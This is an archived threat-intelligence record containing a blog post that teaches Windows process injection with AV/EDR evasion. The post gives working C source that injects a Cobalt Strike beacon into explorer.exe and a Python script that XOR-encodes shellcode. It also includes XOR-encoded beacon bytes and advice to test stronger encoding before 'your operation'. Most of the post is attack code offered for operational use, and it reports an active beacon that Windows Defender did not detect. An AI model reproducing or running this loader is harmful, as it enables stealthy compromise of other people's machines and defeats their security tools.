{
	"id": "ca6229df-60c4-4cdf-82ed-98aa3fce0ed5",
	"created_at": "2026-04-06T00:12:52.370376Z",
	"updated_at": "2026-04-10T03:21:17.663457Z",
	"deleted_at": null,
	"sha1_hash": "7e5436a96c5443aabe0d8cccfe494e4517aa42b0",
	"title": "In-Memory shellcode decoding to evade AVs/EDRs",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1473957,
	"plain_text": "In-Memory shellcode decoding to evade AVs/EDRs\r\nBy Askar I write codes that break codes, Hacker wannabe.\r\nPublished: 2020-07-26 · Archived: 2026-04-05 22:04:32 UTC\r\nEstimated Reading Time: 9 minutes\r\nDuring the previous week, I was doing some research about win32 APIs and how we can use them during weaponizing our\r\nattack, I already did some work related to process injection in the past, but I was looking for something more advanced and\r\nto do an extra mile in process injection.\r\nSo, I took my simple vanilla shellcode injection C implementation and tried to take it to the next level by implementing a\r\ndecoding routine for it and make sure that my shellcode will be written in the memory in an encoded way then it will be\r\ndecoded later on runtime.\r\nThe vanilla process injection technique is very simple to use and to implement, you just need to Open the process you want,\r\nAllocate space on that process, Write your shellcode then execute it.\r\nWe will do almost the same thing here but I will encode my shellcode before by writing a simple python script to encode my\r\nshellcode, then, later on, we will let the C code decode that in runtime then write each byte in the memory after allocating\r\nthe space we want.\r\nAlso, I will dig deeper inside some of WIn32 APIs and explain how each one is executed at low level.\r\nprocess injection 101\r\nAs I mentioned before the vanilla process injection technique will do the following:\r\nOpen a process and retrieve a HANDLE for that process.\r\nAllocate Space in the remote process (retrieve a memory address).\r\nWrite the data (shellcode) inside that process.\r\nExecute the shellcode.\r\nWe can perform these steps with a couple of Win32 APIs which are:\r\nOpenProcess()\r\nVirtualAllocEx()\r\nWriteProcessMemory()\r\nCreateRemoteThread()\r\nIn the normal case, we will write the raw data “shellcode” directly to the memory as it is, but if the shellcode is detected by\r\nAVs/EDRs they will definitely raise an alert about that, so, we need to encode our shellcode and save it as encoded shellcode\r\ninside our binary, then, we need to decode it and write it to the memory to avoid detection.\r\nShellcode encoding\r\nWe need to encode our shellcode to avoid detection as I mentioned before and to do that, we need to modify that shellcode\r\nin a reversible way that could be used to retrieve the original status of our shellcode, and we can do that by performing some\r\nchanges on each opcode such as:\r\nXOR\r\nADD\r\nSubtract\r\nSWAP\r\nI will use XOR bitwise operation on each opcode of my shellcode, I will use Cobalt Strike beacon as my shellcode, and it\r\nwill be the following shellcode:\r\n1\r\n2\r\nunsigned char buf[] =\r\n\"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\\x8b\\x52\\\r\nAnd the following code will be our encoder:\r\n1 import sys\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 1 of 12\n\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\nraw_data =\r\n\"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\\x8b\\x52\r\nnew_shellcode = []\r\nfor opcode in raw_data:\r\nnew_opcode = ( ord (opcode) ^ 0x01 )\r\nnew_shellcode.append(new_opcode)\r\nprint \" \".join([\" \\\\x{ 0 } \".format(hex(abs(i)).replace(\" 0x \", \" \")) for i in new_shellcode])\r\nThis script will read each opcode of our shellcode then it will xor it with the byte 0x01 which is our key in this case, then it\r\nwill append each encoded opcode into a new list and finally, it will print it as a shellcode like the following:\r\nWe got the encoded shellcode after running the script, we are ready now to move on.\r\nWe will now start implementing the C code that will perform the shellcode injection for us, I will walk through every win32\r\nAPI to explain that.\r\nOpen process and retrieve a handle\r\nWe need to choose a process to inject our shellcode to it, and to do that, we need to retrieve a handle for that process so we\r\ncan perform some actions on it, and to do that, we will use OpenProcess win32 API using the following code:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n#include \u0026lt;windows.h\u0026gt;\r\nint main( int argc, char *argv[]){\r\nint process_id = atoi (argv[1]);\r\nHANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);\r\nif (process){\r\nprintf (\u0026quot;[+] Handle retrieved successfully!\\n\u0026quot;);\r\nprintf (\u0026quot;[+] Handle value is %p\\n\u0026quot;, process);\r\n} else {\r\nprintf (\u0026quot;[-] Enable to retrieve process handle\\n\u0026quot;);\r\n}\r\n}\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 2 of 12\n\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\nThis code will take the process id that you want to get a handle for as a first argument to the code, then it will use\r\nOpenProcess() with PROCESS_ALL_ACCESS access right to open the process and save the handle in the variable process\r\nand finally, it will print the handle for us.\r\nThe OpenProcess() function actually takes 3 parameters you can check them via this page.\r\nAlso, You can check all access rights from this page.\r\nAnd after compiling the code and run it to retrieve the handle of the process “explorer.exe” with pid 4032, we will get the\r\nfollowing:\r\nWe retrieved the handle successfully.\r\nAllocate space on the remote process\r\nNext step after retrieving the handle will be Allocating space inside that process, we can do that using VirtualAllocEx()\r\nusing the following code:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n#include \u0026lt;windows.h\u0026gt;\r\nint main( int argc, char *argv[]){\r\nchar data[] = \u0026quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u0026quot;;\r\nint process_id = atoi (argv[1]);\r\nHANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);\r\nif (process){\r\nprintf (\u0026quot;[+] Handle retrieved successfully!\\n\u0026quot;);\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 3 of 12\n\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\nprintf (\u0026quot;[+] Handle value is %p\\n\u0026quot;, process);\r\nLPVOID base_address;\r\nbase_address = VirtualAllocEx(process, NULL, sizeof (data), MEM_COMMIT | MEM_RESERVE,\r\nPAGE_EXECUTE_READWRITE);\r\nif (base_address){\r\nprintf (\u0026quot;[+] Allocated based address is 0x%x\\n\u0026quot;, base_address);\r\n} else {\r\nprintf (\u0026quot;[-] Unable to allocate memory ...\\n\u0026quot;);\r\n}\r\n} else {\r\nprintf (\u0026quot;[-] Unable to retrieve process handle\\n\u0026quot;);\r\n}\r\n}\r\nI added some data in line #7 as a dump data (will be replaced with our shellcode), we should have it to allocate the memory\r\nbased on its size.\r\nIn line #25 we declared a variable called “base_address” as LPVOID which will represent the base address of the allocated\r\nmemory.\r\nAnd in line #26 we use VirtualAllocEx() and pass the following parameters for it:\r\nprocess: which is the handle that we retrieved earlier using OpenProcess()\r\nNull: to make sure that the function will allocate address automatically instead of using one that we know.\r\nsizeof(data): the size of the data that will be written to memory.\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 4 of 12\n\nMEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE: the allocation type that we want to use,\r\nwhich describe what we want to do inside that allocated region of memory which is read write execute (RWX)\r\nAllocating memory region with RWX it’s not very stealthy, and the EDRs could consider it as suspicious action.\r\nAnd finally, in line #29 we will print the address of the allocated memory, which we will write our data on, and by running\r\nthe code we will get the following:\r\nWe got the address “0xa50000” as our base address.\r\nLet me explain that more and tell you what that address exactly means, and to do that, I will attach my debugger to\r\nexplorer.exe and see what we have at that address:\r\nThen I will go to the address “0xa50000” like the following:\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 5 of 12\n\nChoose expression and enter the address:\r\nTo get the following results:\r\nAs we can see, the function VirtualAllocEx has allocated memory space in explorer.exe for us and we are ready to write our\r\ndata.\r\nWrite data to memory\r\nNow here is the most important part of our technique, we will decode the original opcodes and write it directly to memory,\r\nwe will do that by start writing our data from “0xA50000” and increase the address one by one reach the next memory\r\naddress.\r\nWe used xor to encode our shellcode, now we will use the same value to decode each byte and retrieve the original status of\r\neach opcode, and that is an example about this operation:\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 6 of 12\n\n1\r\n2\r\nhex ( ord ( \"\\xfc\" ) ^ 0x01 )\r\nhex ( ord \"\\xfd\" ) ^ 0x01 )\r\nSo by XORing each opcode with 0x01, we will retrieve the original shellcode but this time without getting caught via static\r\nanalysis (signature-based) detection by AVs/EDRs because it will be written directly to the memory in runtime.\r\nEven with this type of encoding your payload may get flagged, so make sure to use stronger encoding and test it\r\nbefore using in your operation.\r\nThe following code will achieve that for us:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n#include \u0026lt;windows.h\u0026gt;\r\nint main( int argc, char *argv[]){\r\nunsigned char data[] =\r\n\u0026quot;\\xfd\\x49\\x82\\xe5\\xf1\\xe9\\xc9\\x1\\x1\\x1\\x40\\x50\\x40\\x51\\x53\\x50\\x57\\x49\\x30\\xd3\\x64\\x49\\x8a\\x53\\x61\\x49\\x8a\\x53\\x19\\x49\\x8a\\x5\r\nint process_id = atoi (argv[1]);\r\nHANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);\r\nif (process){\r\nprintf (\u0026quot;[+] Handle retrieved successfully!\\n\u0026quot;);\r\nprintf (\u0026quot;[+] Handle value is %p\\n\u0026quot;, process);\r\nLPVOID base_address;\r\nbase_address = VirtualAllocEx(process, NULL, sizeof (data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\nif (base_address){\r\nprintf (\u0026quot;[+] Allocated based address is 0x%x\\n\u0026quot;, base_address);\r\nint i;\r\nint n = 0;\r\nfor (i = 0; i\u0026lt;= sizeof (data); i++){\r\nchar DecodedOpCode = data[i] ^ 0x01;\r\nif (WriteProcessMemory(process, base_address+n, \u0026amp;DecodedOpCode, 1, NULL)){\r\nprintf (\u0026quot;[+] Byte wrote sucessfully!\\n\u0026quot;);\r\nn++;\r\n}\r\n}\r\n} else {\r\nprintf (\u0026quot;[-] Unable to allocate memory ...\\n\u0026quot;);\r\n}\r\n} else {\r\nprintf (\u0026quot;[-] Unable to retrieve process handle\\n\u0026quot;);\r\n}\r\n}\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 7 of 12\n\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n58\r\n59\r\n60\r\n61\r\n62\r\n63\r\n64\r\nThis code will write our shellcode in memory after decoding each byte of it with our key “0x01”, as we can see in line #39 I\r\nused a for loop to move on each element of our shellcode, then in line #42 I XORed each element with 0x01 to retrieve the\r\noriginal opcode, and in line #45 I wrote that decoded byte to a specific location in memory and finally in line #51 I move the\r\nn counter which is the memory counter to the next memory address to decode and write the opcode to.\r\nThe WriteProcessMemory() took the following parameters:\r\nprocess: which is the handle that we retrieved earlier using OpenProcess()\r\nbase_address+n: which is the address that we want to write our opcode to (base_address retrieved from\r\nVirtualAllocEx) and n is the counter to move to the next address.\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 8 of 12\n\n\u0026DecodedOpCode: the address of our DecodedOpCode byte.\r\n1: the number of written bytes which is only one byte.\r\nNull: Because we don’t have a pointer to receive the number of written bytes.\r\nYou can check the parameters that the WriteProcessMemory takes from this page.\r\nAfter compiling the program and run it, we will get the following:\r\nAs we can see, we get each byte wrote in the desired address that we want, now, let’s debug that using x64dbg and go to the\r\naddress “0x2ec0000” to get the following:\r\nAs we can see, our original bytes were written to the addresses that we want starting from 0x2ec0000 and everything is\r\nworking very well!\r\nExecuting the shellcode\r\nFinally, we need to execute the shellcode as a thread, and to do that, we can that using CreateRemoteThread() function using\r\nthe following code:\r\n1\r\n2\r\n#include \u0026lt;windows.h\u0026gt;\r\nint main( int argc, char *argv[]){\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 9 of 12\n\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\nunsigned char data[] =\r\n\u0026quot;\\xfd\\x49\\x82\\xe5\\xf1\\xe9\\xc9\\x1\\x1\\x1\\x40\\x50\\x40\\x51\\x53\\x50\\x57\\x49\\x30\\xd3\\x64\\x49\\x8a\\x53\\x61\\x49\\x8a\\x53\\x19\\x49\\x8a\\x5\r\nint process_id = atoi (argv[1]);\r\nHANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);\r\nif (process){\r\nprintf (\u0026quot;[+] Handle retrieved successfully!\\n\u0026quot;);\r\nprintf (\u0026quot;[+] Handle value is %p\\n\u0026quot;, process);\r\nLPVOID base_address;\r\nbase_address = VirtualAllocEx(process, NULL, sizeof (data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\nif (base_address){\r\nprintf (\u0026quot;[+] Allocated based address is 0x%x\\n\u0026quot;, base_address);\r\nint i;\r\nint n = 0;\r\nfor (i = 0; i\u0026lt;= sizeof (data); i++){\r\nchar DecodedOpCode = data[i] ^ 0x01;\r\nif (WriteProcessMemory(process, base_address+n, \u0026amp;DecodedOpCode, 1, NULL)){\r\nprintf (\u0026quot;[+] Byte wrote sucessfully!\\n\u0026quot;);\r\nn++;\r\n}\r\n}\r\nCreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x5151);\r\n} else {\r\nprintf (\u0026quot;[-] Unable to allocate memory ...\\n\u0026quot;);\r\n}\r\n} else {\r\nprintf (\u0026quot;[-] Unable to retrieve process handle\\n\u0026quot;);\r\n}\r\n}\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 10 of 12\n\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n58\r\n59\r\n60\r\n61\r\n62\r\n63\r\n64\r\n65\r\n66\r\n67\r\nAs we can see in line #55, we used CreateRemoteThread() function to execute our shellcode as a thread on explorer.exe, and\r\nCreateRemoteThread() took the following parameters:\r\nprocess: Which is the handle that we retrieved earlier using OpenProcess()\r\nNull: To get default security descriptor; check this for more info.\r\n100: The initial size of the stack.\r\nbase_address: Which is the first opcode of our shellcode.\r\nNull: No parameters passed to the thread.\r\n0: The thread runs immediately after creation.\r\n0x5151: Thread ID\r\nAnd after running the code, we will get the following:\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 11 of 12\n\nWe got an active beacon running under explorer.exe without being caught by Windows Defender.\r\nConclusion\r\nBy encoding our shellcode and decode it using this technique, we were able to bypass AV protection easily and run our\r\nshellcode inside another process.\r\nYou can customize the encoder as you want but you have to edit the decoder too, also you can modify the code to meet your\r\nneeds on execution and some parts of the code are written only for educational purposes.\r\nSource: https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nhttps://shells.systems/in-memory-shellcode-decoding-to-evade-avs/\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/"
	],
	"report_names": [
		"in-memory-shellcode-decoding-to-evade-avs"
	],
	"threat_actors": [],
	"ts_created_at": 1775434372,
	"ts_updated_at": 1775791277,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7e5436a96c5443aabe0d8cccfe494e4517aa42b0.pdf",
		"text": "https://archive.orkl.eu/7e5436a96c5443aabe0d8cccfe494e4517aa42b0.txt",
		"img": "https://archive.orkl.eu/7e5436a96c5443aabe0d8cccfe494e4517aa42b0.jpg"
	}
}